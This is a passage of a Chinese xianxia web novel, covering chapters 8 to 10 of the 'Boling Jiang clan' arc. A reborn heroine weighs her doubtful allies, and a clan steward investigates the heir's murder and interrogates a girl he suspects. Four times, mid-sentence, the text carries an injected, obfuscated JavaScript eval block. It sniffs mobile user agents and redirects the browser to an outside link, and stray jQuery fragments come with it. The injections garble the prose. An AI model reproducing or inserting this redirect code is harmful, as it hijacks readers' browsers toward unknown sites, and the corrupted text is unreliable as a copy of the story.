听力。师弟修的是琴道。传闻琴心大成者,耳力通神,凝神时方圆十里飞花落叶之声皆可入耳。如果真是这样,恐怕从她在那具尸体里醒来的第一声心跳起,就已经暴露在他的监控之下了。 “院子里的东西随意用,只是为了稳妥起见,最好别出门……”姜怜交代到一半,忽然顿住,似笑非笑地看了她一眼:“师姐?你在听吗?” 叶无瑕回过神,面色平静地复述:“不出门,明晚见。” “记得就好。”姜怜也没恼,只是弯了弯嘴角:“那师姐好好休息,养精蓄锐。”说完,他微微欠身,转身便走。 看着那个背影,叶无瑕心头的疑云越来越重。 这一切实在太过巧合了,而且他听力这么好,应该也知道白磷的存在,他刚才怎么不提呢? “喂,姜怜!” 叶无瑕顿时追出门去,想问个清楚,可举目四望,院中早就没了姜怜的影子。 好快的身法。竟连一丝气息都没留下。 “跑得倒是快……”叶无瑕在门口站了片刻,眯起眼打量着那幽深的夜色。既然人已经走了,此时再纠结也是徒劳,反正明日还要再见,这笔账迟早能算清楚。 她退回屋内,反手关上房门,借着烛火重新审视这间静室。陈设极简,只有一桌、一榻、一柜而已。唯独左手边的墙壁上,极其珍重地挂着一张造型古朴的七弦琴,琴身还罩着一层防尘的薄纱。 印象中,她记得师父曾经跟她说起过,姜怜原本的师门是那个天下闻名,却已近乎神隐的修仙大派——无弦阁。 无弦阁以琴乐修仙,自创派以来,已有八百年的历史,其门下弟子多为视琴如命的风月雅士,不仅清高孤傲,而且鲜少下山参与凡尘俗事,所以在世人眼中,便显得尤为神秘。 叶无瑕能够感受到,眼前的长琴虽然看似平平无奇,但其中却蕴含着无上的灵力,盯着看久了,耳畔似乎还能隐隐听到风雷之声。 她猜想,也许姜怜静室周围的结界,就是由这长琴张开的。 不过叶无瑕是不懂琴的,看了一会儿便兴致缺缺,于是打个呵欠,继续又往室内走去。 屋内燃着柏子香,清冽幽冷,那是师父墨桑上仙惯用的香气。在这生死未卜的逃亡夜里,这熟悉的味道竟让叶无瑕紧绷的神经有了一瞬的恍惚,仿佛回到了师门一般。 记忆中,前世瑶光门被灭的日子就在自己被元朔挖骨之后不久,留给她的时间不多了,这次她一定要改写师门的命运。 她晃了晃神,随手打开冰鉴。冷气扑面而来,叶无瑕的目光在触及里面的东西时,微微一凝。枇杷、蜜桃、香瓜……竟然还有岭南荔枝。 那荔枝的果皮红润,挂着白霜,新鲜得仿佛刚从树上摘下来的一般。剥开一颗入口冰冰凉凉,甘甜的汁水四溢在唇齿之间,果然极品。 这东莱与岭南相隔万里,能在这里吃到如此新鲜的荔枝,所耗人力物力何止千金?叶无瑕心中忍不出腹诽起来:这间别院静室看起来不过是暂住,其奢靡程度都令人咋舌,这就是世家大族的底蕴么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406211|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这里,叶无瑕嚼着果肉的动作重了几分。 既然姜家富得流油,那当初两人初见时,这厮为何还要厚着脸皮让她付酒钱?甚至到现在都没还!真是越有钱越抠门,不吃白不吃。 叶无瑕轻哼一声,本着跟师弟收利息的原则,又心安理得地伸手抓了一大把荔枝。 然而,就在叶无瑕胡吃海喝之际,有熟悉的声音突然从她脑中响起: 【叶姑娘,你在吗?】 叶无瑕剥果皮的手指忽然一顿,白磷的时间掐的好准。 “我在,你……灵力恢复了?” 叶无瑕本能地感觉白磷肯定知道一些东西,刚想质问借尸为何出现意外,可话到嘴边,又生生咽了回去。前世她就是太耿直、太信人,才会落得那般下场,现在她还没见过这个盟友到底是何方神圣,也摸不清对方的底细,最好还是不要轻举妄动。 白磷的声音断断续续:【哦,没有完全恢复,只是暂时能联系了,你那边情况怎么样,现在安全吗?】 “还算安全,说来也巧,我刚才遇到我师弟了。”叶无瑕不动声色地抛出第一个诱饵。 【师弟吗?】白磷显然松了口气,语气也轻快起来:【那是好事啊!这里是姜府,帮你的是原本无弦阁那位吧?他是个好人,绝对可以信赖的。】 好人?叶无瑕眉心微微一皱。 跟姜怜不熟的,大概都会觉得他是个好人,但说他绝对可以信赖,这评价未免太高了些。而且听白磷的说法,看来他是故意给自己选了这个身体。 她没有反驳,只话锋一转,道:“你呢?摆脱追捕你的势力了吗?” 没想到白磷“啊”了一声,好像十分惊讶,等反应了一会儿,才道:【哦……暂时摆脱了,嗐,你放心吧,我是个无名小卒,他们抓不到我就懒得费心了,只要不随便对人使用灵力就行,哈哈……】 那笑声干巴巴的,听起来心虚极了。叶无瑕眉尖微挑。连自己说过的话都能忘,这白磷看起来好像也不怎么聪明。 她不动声色地继续套话,卖惨道:“只是我现在所借的这具身体金丹碎裂,只能维持三重封顶修为,对我复仇是个极大阻碍。” 白磷果然上钩,大咧咧的安慰道:【哦,这个你不用担心,反正你将来还要重塑肉身……】 那边声音忽然顿了一下,叶无瑕感觉,白磷好像又说漏了嘴,被旁边什么人提醒了一下,才又接道:【呃,你肯定是这么想的对吧,毕竟哪个修士的身体呢能比你原来的修为高呢。对了,现在时间也不早了,你今天经历了那么多,应该好好休息。】 “是,”叶无瑕微微一笑,没有继续追问下去,她能得到的信息够多了,温和道:“我觉得我们应该见一面,越快越好。” 【好的好的。】白磷还没从刚才的惊吓中缓和过来,忙不迭的答应:“我尽快往你这边赶,可能还要三五天。” “不着急,我们这边也有事要处理。” “那叶姑娘,你好好休息,等之后再联系。” “好。” 灵流切断,屋内重归平静。 叶无瑕手指敲了敲桌面,一个是满嘴谎言的师弟,一个藏头露尾的盟友,真是越来越有意思了。 她熄灭灯,慢慢走至窗台前,望向夜色中连绵起伏的群山。 那里是仙京的方向,那里藏着一只吃人的巨兽。 “复仇么……” 只听啪的一声轻响,叶无瑕握住自己因兴奋而微颤的手,嘴角忍不住扯出一个笑: “好期待啊。” 8. 博陵姜氏(8) 夜色深沉。 此刻,元氏后宅的主卧内鲛纱帐幔低垂,博山炉里燃着千金一两的安息香,这里原本应当是叶无瑕的寝室,如今,睡在床榻之上的却是另一个女人。 “啊——!” 一声短促而惊恐的低呼划破寂静,床上的少女猛然从梦中惊坐而起,大口大口喘着粗气,好像溺水之人终于得以呼吸,额上已是冷汗岑岑。 她惊魂未定地摸了摸胸口,这里有她今日刚安的灵骨,那微微凸起的手感还不能让她完全适应,还未愈合的伤口也在发出滚烫的热度。 “怎么了?云裳。” 门外传来一道清雅的男声,紧接着,一个修长的身影投在纸窗上。 元朔的声音里透着关切,却没有立刻推门进来,仿佛在恪守什么君子礼节,倘若要是叶无瑕看到这幅场景,恐怕要笑出声来。 云裳抓着盖在身上的棉被,指节因用力而发白,梦里叶无瑕那双布满血丝的眼睛在她脑中挥之不去,冷森森地说道:“云裳,我的骨头好用吗?” 好奇怪,明明只是一个梦境而已,为什么感觉像是亲身经历的一样呢? “云裳?”门外的元朔没听到回应,语气沉了几分,“是不是那块骨头又排斥了?” 听到“骨头”二字,云裳猛地回神。她深吸一口气,强行压下心底的恐惧,甚至不忘对着铜镜整理一下自己的表情,才道:“朔哥哥……我没事。”她声音细弱游丝,透着一股惹人怜惜的娇怯和懂事,“只是……做了个噩梦。” “噩梦?”元朔的声音柔和了一些,“梦到什么了?” “梦到姐姐了……”云裳垂下眼帘,手指抚摸着那根在体内发烫的灵骨,眼底闪过一丝贪婪,嘴上却怯生生的,“她在梦里怪我,怪我抢走了哥哥,还怪我……霸占了她的位置。” 门外沉默了一瞬,随即传来一声极尽轻蔑的冷嗤:“活着的时候就不讨人喜欢,死了还要作怪。” 元朔的身影动了动,说的轻描淡写,仿佛先前杀死的不是自己的结发妻子,而是路边的什么阿猫阿狗:“你放心睡吧,这里是元氏,没人胆敢伤害你,而且我早说过,这根灵骨本来就该是你的。” 听着门外那句“本来就是你的”,云裳心头那点恐惧奇迹般地消散了。 是啊,成王败寇。叶无瑕已经死了,死得透透的。 云裳嘴角缓缓勾起一抹得意的弧度,重新躺回床上,将被子拉高,遮住那根窃来的道骨。 “朔哥哥说得对。” 她在黑暗中无声笑了笑,用只有自己才能听见的声音道: “姐姐啊,你就在地狱里看着吧,看我和朔哥哥如何用你的骨血,登临大道。” * 第二日,清晨,太阳初升。 常易正在账房中,他向来起的很早。 博陵姜氏百年积淀,乃东莱第一仙门大族,能够成为姜氏家主的左膀右臂,管好这样一份产业并不容易,常易首先靠的是一个“勤”字。 今日,他亦如往常一样,一边呷着热茶,一边趴在桌子上,手中拿一块掐着金丝的放大镜,正仔仔细细地读着账本。而与平时唯一不同的是,此时他的桌前多了两个人,一人站着,一人跪着。 站着的那人五十来岁,姓陈,姜府中的下人都叫他陈叔。跪着的叫做阿刘,是府中半年前新招的伙夫。 很显然,陈叔是给阿刘求情的,他道:“常管家您看,昨夜阿刘已经在外面跪了一宿了,念在他是初犯的份上,要不就……通融通融?” “哦。” 常易闻言抬起眉毛,从后账本之后露出一双三白眼,问道:“阿刘犯了什么错?” “昨日大厨生病,便由阿刘掌勺,帮忙给姜府的门客做饭。后来阿刘发现鲈鱼没有了,他就拿了盲曹鱼代替。”陈叔说着顿了顿,接着又补充道:“但其实盲曹鱼的味道更好,我尝过的,府中门客吃的也很满意——” “老陈。”但常易忽然打断他,“我记得你是府中的老人吧。” 陈叔立刻回道:“是、是的,小人已在府中十年了。” 常易:“那你怎么能犯这样的错?” 陈叔愣住了:“啊?” 常易道:“府中的饭菜,无论是送主子们吃,客卿吃,还是给咱们下人自己吃,向来都是定材定量。阿刘今天能用盲曹鱼代替鲈鱼,后天说不定就敢往主子的饭菜中放毒。” 只听“扑通”一声,陈叔吓得跪下来:“常管家,没、没那么夸张吧。阿刘是小主乳娘的侄儿,都是咱们知根知底的人啊。” “是吗。据我所知,世子的乳娘是顺阳人,而顺阳刚好在弘农边境,属于元氏的管辖,乳娘的确知根知底,但是阿刘……我怎么听说,他的母亲姓元呢?” 陈叔顿时大惊失色,未等旁边阿刘做出什么反应,先一掌劈在了他的天灵盖上:“混账东西,竟敢跟我瞒报信息!”使得阿刘当场气绝而亡。 他战战兢兢趴在地上,全身抖得如筛糠一样,连对自己的称呼都变了:“常管家,这次是小人失察了,但小、小人真不知道阿刘是元氏的奸细啊!求您了,再给小人一次机会吧!” 常易叹道:“我倒也想给你机会,只可惜,上个月府中抓到刺客已经招了。” “!!” 陈叔的脸色骤变,突然一跃而起,闪电般向门口冲去! 然而,就在他跃出门口的瞬间,庭院中一道炽白的光芒闪过,陈叔身体一僵,紧接着便在空中化成了一团血雾。 常易摇了摇头:“何必逃呢,我的院中有阵法,你又不是不知道。” 短短几分钟,他便已清理掉了两个藏在姜氏的小虫。 对于清早的效率,常易还算满意。但紧接着,他那布满皱眉的脸上,便又在眉心挤出了一个疙瘩,因为他听到外面传来一阵嘈杂的呼声。 “常管家!常管家!不好了!出事了!出大事了!” 前来通报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406212|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是他手下一名得力小厮,名叫冯三儿,是常易一手调教出来的人。 这冯三儿平时办事稳妥,也跟着他见惯了大风大浪,按理来说,应该不会如此慌张,可今日却是连门都没敲,直接“砰”的一声撞开门,连滚带爬地闯进来,甚至连那躺在地上的尸体都没注意到。 冯三叫道:“常管家,世子他——” “路上说,快带路!” 倘若别家发生如此情况,那管事的必定要先呵斥一番下人不守规矩,然而常易却是当机立断,截住冯三的话,便扯他匆匆出了门去。 除了勤奋之外,常易能够坐稳姜氏总管之位的第二个秘诀,就是“谨慎”。 府中之事无论大小,但凡涉及到主子,常易必定放下手头一切活动优先处理。尤其冯三今日一反常态,让常易心头莫名升起一丝不详的预感,更是争分夺秒,不敢丝毫耽误。 只是可惜,冯三今早发现异样时,世子已经死透了,常易终究晚了一步。 随后他路上听着冯三的叙述,脸色几经变换,简直比那初升朝霞还要好看。等到冯三彻底将事情经过跟他汇报清楚,两人也已来到姜浮平日修炼所住的小楼。 “好,我知道了。你先下去吧……” “对了,记得加强府中封印,严查昨夜进出记录。等家主回来之前,连一个苍蝇都不能给我放出去。” 冯三回答道:“是。” 常易长长得叹口气,将眉心攒在一起,几乎拧成了一条麻花。 他知道世子不检点,那所谓的“修炼”,其实不过是寻欢。有好几次苦主的宗门差点找上门来,都是他暗中出手干涉,上下打点,才没让姜氏丢了颜面。还真是不容易啊。 当然,常易明白世子这么做的理由。 那是因为姜氏三子之中,唯有他这个占着正统名分的世子爷天资最差,所以姜浮一直有种危机感,总想急于在父亲面前证明自己,尤其过再几个月就是仙盟大选了,他能不着急吗。 可是世子用那种歪门邪道的法子修炼,不过是饮鸩止渴,等到时间一长,其劣性便彰显出来,最后不是还是比不过少爷和小姐吗……糊涂啊。 不过这些话,也就他在心里想一想罢了。 他常易只是家主的一只“眼睛”,他知道的事,家主当然也知道,人家主子都没有干涉儿子,他一个下人又能多嘴什么? 唯一始料未及的是,世子竟然真把自己给作死了,这可实在令人头疼。 常易想到这里,忍不住又揉了揉眉心,甚至已经按出了个红印。 他抬起头,撇了一眼跪在旁边的两排人影,那是昨夜府中当值的门客和仆从,现在都被冯三召集在此问话,各个瑟缩如鹌鹑。 真倒霉啊。好端端摊上这么一桩烂事,等家主回来,这泼天的怒火总得有人用命去填。 常易心头升起一丝莫名的悲悯,但也仅此而已。他看着这些人,幽幽开口道:“你们,想活命吗?” 9. 博陵姜氏(9) “你们想活命吗?” 短短一句话,好似平地里惊起的炸雷,又仿佛黑夜报晓的鸡鸣。 那跪在地上的两排人影先是怔了一下,随后想也不想便开始磕头,他们甚至从来没觉得一个老头的声音像今天这般好听,争先恐后道:“想!想的!常管家,您一定要救救我们!” 常易点点头,悲悯道:“那就要看你们能否给我提供有用的信息了。” 他不介意帮这些人一把,但前提是,他们对自己有用。 “一个一个说说吧,昨晚巡逻的情况,任何细节都不要落下。” 于是这群人便按着顺序,依次开始汇报。 其中负责监视府中结界动态的有两人,他们说:“昨夜结界这边没有任何变化,也没有任何门客的出府记录,一切正常。” 常易道:“好。” 如此便意味着,杀死世子的凶手本来就藏在府中,而且现在也应该还没逃出去。 随后是负责内院巡逻的府卫,他们说:“我们六个分成了三组,按照规矩,两组巡逻,一组休息,交替轮班,昨夜没有发现异常,内院的结界也没有任何下人进出的记录,您可以查阅名册。” “嗯。”常易点头。 姜氏在整个华东的势力很大,产业更是占了几乎大半个博陵郡,而且养了很多门客,因此家主府宅便被划分成了内院和外院两个部分。 其中内院是家主、夫人和小姐的住处,外院则是姜怜兄弟二人与客卿的临时住处。实际上,姜怜他们本来也在内院有房间,但是家主为了锻炼两人的能力,想让他们多和门客接触结交,便命令两人住在外院。 常易思忖着,内院的结界比外院更加稳固敏感,既然没有进出记录,那么凶手便可以从内院下人之中排除。 虽然夫人小姐进出内院不会触发结界的记录,但小姐的修行到了关键时刻,正在闭关,夫人又是世子的亲生母亲,也绝不会害死自己的孩子…… 啊,对了,夫人马上就会赶来。 常易想到这里,忍不住又捏起眉心。 世子的死讯现在应该已经传到了夫人耳中,等她到了还不知要怎样发火呢,所以他必须得赶在此前把现场的细节看过。 “常管家,我还想起一个细节。” 这时,那六人之中有个胖子忽然举起手,常易眼神一亮道:“说。” 那胖子道:“我发现昨晚的饭菜好像格外好吃,就多吃了好几碗,现在想来,会不会是有人做了手脚?” 常易:“……” 他对胖子招了招手:“过来吧,去找冯三。” 那胖子喜出望外,连忙起身恭维道:“小的只盼线索能够对您有用,也不求什么赏赐……” 常易转头吩咐冯三:“舌头拔了,赶他出去。” “!!!常管家小的知错了!小的再也不敢了——” 场上顿时响起胖子的哀嚎,但冯三已带人将他捆了出去,随后只听后面传来一声惨叫,院中便重归平静。 那胖子不仅是个饭桶,还爱自作聪明,这种人不能留在府上。 常易望向剩下的六人,冷冷道:“你们知道什么是细节了吧?” 六人心中一阵发毛,连连称是。 他们都是家主豢养的下等门客,下等门客虽然不算家奴,平时也不用干活,但因级别不高,还是需要轮流负责外院的巡逻,昨日便正好轮到他们。 其中有个带蓝方巾的先说:“我们两个昨夜负责把……把丫鬟送到楼上,那姑娘除了一直哭闹,刚开始也没什么异常,但后来过了一盏茶的时间,就听到世子惨叫一声,我们赶紧跑去看了,然后遇到了他俩。” 姜浮干的毕竟不是什么光彩之事,蓝方巾便说的隐晦,他先指了指自己旁边的搭档,又指了指当时另一组巡逻的同伴。 对方随即应和:“对,那时大概过了亥正,我们四个急忙上楼去查看,然后就被世子骂了下来……当时还闻到一点血腥味,觉得可能是那丫头的,毕竟她后来没再吵闹,躺在地上也没反抗,之后……之后就没有什么特别情况了。” 最后那组门客则表示他们当时正在休息,没去过现场,昨晚也没发现任何可疑人物。六人说的言简意赅,语速飞快,生怕一个不小心再惹恼常易。 在确定没有其他线索之后,常易便丢下这一行人,直接登楼查看去了。 他问话虽然耽误了一点时间,但也的确得到了有用的信息,比如说,血腥味。 不过,常易认为那血腥味不一定来自炉鼎,说不定世子当时就已经死了。 因为常易知道世子在他寻欢的楼子里,点了气味很浓的异香,为的就是专门压制抓来的少女,让她们闻了之后提不起力气,也无法动用灵力。 由于冯三对现场控制的很好,楼内基本保持了昨夜的状态,常易刚才一进门,就差点被那味道熏晕。所以,如果门客在那种情况下还能闻到一点血腥气,那便说明受伤那人一定流了很多血。 而今早冯三给他说,那少女活的还好好的,好像也没受什么伤,那么死的便一定是世子了。于是新的问题又来了,当时骂走门客的那个“世子”,究竟会是谁呢? 可能是世子本人,尸体被操纵了;也有可能是幻术,凶手假扮的。但目前这些都是推测,他还需要进一步验证。 随后,另外一条有用的信息是时间。 根据门客所说,他们听到世子惨叫时已经过了亥正,而亥正离他们下次换班的时间很近,所以,凶手完全有可能趁着他们交接的时候偷偷溜走,这就解释了为何无人发现异常,也进一步印证,凶手一定是住在外院,并十分了解姜氏规则的人。 此人真是好大的胆子,杀了世子还敢留在姜氏府中,是抱着同归于尽的态度呢?还是有自信最终一定能逃脱? “呜呜呜……” 忽然,一阵断断续续的哭声打断常易的思路,不知不觉中,他已来到二楼,然后推门所见第一眼,便是姜浮的尸体。 其实现场的状况不算太糟,和冯三路上跟他描述的差不多。 世子腹中的金丹被人剖走了,背后身中数刀,致命伤是穿透心口的那刀,但地上血迹不多,大部分都被旁边被子吸走了,而且周围也没什么剧烈打斗的痕迹。 那么由此可以推断,公子也许是认识凶手的,甚至还有点轻敌,又或许说……现场的凶手有两人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406213|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 想到这里,常易立刻向那哭声的来源望去,然后第二眼,他就看到了蜷缩在角落里哭泣的少女。 常易问道:“你就是辛桃桃?” 那少女闻声抬起头,脸上挂着泪珠,却并未回答常易的话,而是反问道:“你们要来杀我了吗?” 常易忽然笑了,抬手示意看守桃桃的门客下去,只留他们两人在现场。 “小姑娘,我只是这里的管家,杀不杀你不是由我决定。但是,” 他说着顿了顿,压低声音,脸上露出同情的神色,好像一位和蔼可亲的邻家老伯。 “我能看出你不是杀害世子的凶手,而且我也一直看不惯世子做的那些事,所以如果你能好好回答我的问题,等会儿夫人来了,我就帮你跟她说情。” 少女有些弱气地问:“真、真的吗?” 常易点头道:“真的。” 辛桃桃好似想了想:“那大伯可要说话算数。” 常易道:“当然。” 然后他便问出自己的第一个问题:“昨晚除了你和世子,现场是不是还有其他人?” 辛桃桃脸色顿时一白,常易便知自己问对了方向。 她道:“有、有的。” 常易问道:“谁?” “是……王姐姐。” “王姐姐?”常易眉头皱起,“你是说昨天白天送进来的那姑娘?” 辛桃桃点头:“是啊。” 常易:“可是她已经死了。” “啊?!!”辛桃桃大吃一惊。 常易便摆摆手:“没关系,你继续说,她那时怎么进来的,后来又发生了什么?” “我、我没看到她是怎么进来的……” 回忆起昨晚的经历,辛桃桃忍不住身体一阵颤抖,指了指姜浮的尸体,道:“当时他要对我用强,我害怕极了,可是挣脱不过,就一直喊救命,然后就忽然看到王姐姐出现在他身后,对我做了一个噤声的手势。” 常易问道:“当时世子没有察觉吗?” 辛桃桃道:“他察觉到了,但是回头看时,王姐姐已经躲到了窗帘后。” 常易不再问话,等着少女自己继续说下去: “我那时不知道王姐姐已经死了,以为她是来救我的。于是为了吸引世子注意,就咬了他一口,然后世子发怒,狠狠扇了我一巴掌,我昏了过去…… “等到今天早上醒来,我、我……我就看到他死在我身边,周围还有好多血,真的好可怕啊……呜呜呜……” 辛桃桃说罢又哽咽起来,左半边脸上还泛着红肿,嘴角带着血迹,可以看得出昨夜被扇那一巴掌着实不轻。 那么,如果凶手趁此机会偷袭,她们的确能在那种情况下杀死世子。 再结合冯三今天早上说的情况,他们是先听到少女的尖叫,随后赶上楼去,才发现了世子的尸体,这些细节也基本都对得上号。 常易沉思片刻,问道:“所以,你不知道后来巡逻的人上来了?” 辛桃桃茫然摇了摇头:“我什么都没看到。” “呵呵。” 但谁知常易突然冷笑一声。 “你在撒谎。” 10. 博陵姜氏(10) “你在撒谎。” 常易一字一顿,声音瞬间下沉,那双隐藏在皱纹之下的三白眼骤然睁大,好像一只正在审视猎物的鱼鹰。 辛桃桃被他盯得心头一紧,冷汗跟着就从背后冒了出来。 她是哪里露出破绽了吗? 没有吧? 昨天晚上制定计划时,姜怜就特意嘱咐她,说常易是一条老狐狸,十分精明,因此要她一定不能对常易撒谎。 但是为了骗过常易,她可以只描述她所看到的事实,或者直接隐去关键的部分不说,总之就是一句话——少说少错。 而且姜怜还说过,常易很可能会诈她,但这个时候千万不能慌,只要坚持自己没有说谎就行。因为姜浮之死事关重大,常易不会轻易杀她,而是要等到家主回来再做裁决。 “我、我说的都是真话!” 辛桃桃定了定神,开始反驳常易。 她的确说的都是真话。 首先,叶前辈用的是王姐姐的身体,所以她说王姐姐在现场并没有问题。 其次,她被姜浮狠狠扇了一巴掌,虽然只是短短的几秒而已,但确实晕了过去,后面的情况不说,不能代表她撒谎。 还有她说早上醒来就看到姜浮的尸体,这句话是陈述事实,否认看到巡逻的门客也是,因为昨天晚上她被叶无瑕推了出去。 她没有说谎,没有破绽,那么是了,常易现在一定是在诈她! 辛桃桃想到这里,立刻腰板,底气也足了许多,反问道:“你凭什么说我骗你?” “是吗。”常易冷笑一声,“那你身上的血迹怎么解释?” “啊?” 辛桃桃大吃一惊,立刻垂下头去,看到自己袖口下侧血迹斑斑,大概是昨日她砍姜浮的时候蹭上的。 说实话,她昨天晚上实在太累了,精神紧绷到极致,所以等叶无瑕他们离开之后就马上睡着了,根本没有注意到这些细节。 于是她心里又开始有些发虚:“我、我怎么知道?兴许是溅到我身上的呢。” 但常易冷笑着打断:“不可能。” 他道:“世子受伤的地方都在背部,明显是被人偷袭。我很难想象,倘若你当时真的晕倒躺在地上,那么世子究竟要处在何种刁钻的角度,才能让血迹溅到你身上呢?” 常易的眼神像条蛇,一条随时随地都可以发起进攻的毒蛇。 桃桃不由背后冷汗直冒:“我、我、我……” “我不知道,我真的什么都不知道!” 谁知少女突然嘴巴一扁,竟然哇的一声哭出来。 她说话抽抽搭搭开始颠三倒四,好像十分委屈:“我不知道王姐姐为什么死而复生,也不知道这个血迹究竟是怎么弄上去的,我是真的没法回答你啊我没有撒谎……而且我昨天晚上真的晕倒了,老伯你年纪大了也要讲信用的,不能为了不想帮我求情就诬赖我。” 常易呵呵一笑:“我当然讲信用,但是我也没有诬赖你。” 辛桃桃:“你没有吗?” 常易:“我没有。” 辛桃桃:“可是我想活下来,我这样骗你究竟有啥好处?” “有。” 常易的声音忽然沉下来:“好处就是能够保护你想隐藏的那个人,当时在场的第四人,也就是教你今日这番说辞的人,我说的,对吗?” 一瞬间,辛桃桃感觉自己好像被一只鬼手掐住了咽喉,那感觉冰冷、黏腻、恐惧,激得她头皮一阵发麻。 死定了,逃不掉,绝对赢不了。 诸如此类的念头接连从她脑海里冒出,她发现自己甚至连哭都忘记了。 “那个贱人在哪里?!” 然而就在这时,楼下突然响起一声女子的怒喝,紧接着她就看到眼前紫影一闪,一道青光夹着霹雳朝她头顶落下。 死定了。 辛桃桃在心中哀呼一声,不由得闭上双眼,然而…… 一秒过去了,两秒过去了,等待中的审判没有落下,只有“噼噼啪啪”的轻响充斥着整个房间,令人感到压迫不安。 辛桃桃忍不住睁眼偷看,然后便将嘴巴突然张大,整个人都惊呆了——原来竟是常易挡在她身前,单手替她接了那一鞭! 可是,常易刚才明明不是还要揭穿她,怎么现在又突然改变了主意呢? 而与此同时,桃桃也终于看清了来人的长相。 那是一位身着玄紫金丝长袍的贵妇,她手持长鞭,云髻高耸,满头珠翠压不住艳光灼灼的眉眼。 她生得极美,是一种极具攻击性的美,眼波流转间带着一股久居上位的肃杀之气,让人不敢直视,身侧左右牵着两头半人高的雪域灵狼。 那凶兽目露凶光,獠牙森森,可在她裙边却乖顺得如同家犬。叫人一看便知,她就是博陵姜氏的女主人——许凌烟,许夫人。 此时的许夫人柳眉倒竖,杏目圆睁,鲜艳的红唇因震怒而微微颤抖,她怒极反笑,道:“常易,你好大胆。” “夫人息怒。” 常易立刻松开手,挡在桃桃的面前跪下,恭谨道:“小人方才情急僭越,但是这个姑娘暂时杀不得。” 许凌烟冷笑道:“这里的主人究竟是你还是我?” 常易道:“当然是夫人。” 许凌烟道:“那你还不快滚?” 但常易摇了摇头:“倘若这是在平时,夫人要小人滚,小人绝不会用爬的,只是现在情况特殊,小人恕难从命。” 许凌烟耐着性子,沉声问道:“为什么?” 常易道:“因为她是我们找到真凶的唯一线索。” “线索?” 许凌烟突然冷笑一声,好像听到了什么天大的笑话。 “常易啊常易,你跟了家主那么多年,怎么办事反而越来越倒退了?杀害浮儿的真凶究竟是谁,这么明显的事,难道还需要找线索吗?” 然而常易却好像听不懂似的,道:“小人愚钝,还请夫人明示。” “哈,好啊。” 许凌烟又是一声冷笑,讥诮道:“原来你不是太笨,而是太聪明了,行,你怕得罪主子,那我便替你说。” 她说着将手中长鞭指向辛桃桃,牙齿咬得咯咯直响:“浮儿死了之后谁能得到最多好处,谁又能继承姜家家业?还有这个贱丫头,杀了我家浮儿还敢大摇大摆坐在这,究竟是谁给她的胆子撑腰?” 常易的表情严肃起来:“夫人的意思是……” “姜怜!” 许凌烟突然变得声嘶力竭:“除了姜怜那个混账之外,整个姜氏谁还敢动我的浮儿!” 两只白狼灵兽也突然露出獠牙,低吼一声,跃跃欲试。 但常易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406214|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉声道:“倘若夫人怀疑大公子,那么这个姑娘就更不能杀了。” 许凌烟道:“为什么?” 常易道:“因为这样的话,她就是唯一能够指认大公子的人,您若杀了她,反而相当于帮大公子消灭了证据,那么接下来,大公子很可能会反咬您一口,说您是在诬陷他。” “哦?”许凌烟嘴角勾起一丝戏谑,“你既然如此为我着想,何不直接对她用搜魂术,帮我拿到确凿的证据?” 常易苦笑道:“夫人,您知道搜魂过后这丫头就会丧命,那么大公子还是可以坚持说咱们诬陷他,来个死无对证,所以最好还是等到家主回来再验。 “当然,小人只是说出一个可能性罢了。在事情还没有充足的证据之前,不能棺盖论定,倘若导致夫人和公子母子失和,那就是小人的过错了。” 许凌烟冷哼一声:“说来说去,你今天就是非要阻止我了是吗?你别以为浮儿死了世子之位就一定会落在姜怜身上,柔儿也是我的孩子!” “夫人,您误会小人了。” 常易叹口气,颇有些无奈地摇头:“世子死亡大公子获益,这是人尽皆知的事,大公子又不是傻子,就算他真的有心害世子,想要继承家主之位,也应该不会做的这么明目张胆。 “除此之外,这丫头刚才招供昨天现场还有一人,是个死而复生的炉鼎,而她才是害死世子的真凶。现在小人怕就怕在此事另有隐情,倘若姜府中还暗藏第三股势力,想借世子之死故意挑拨夫人出手,咱们可就中计了。 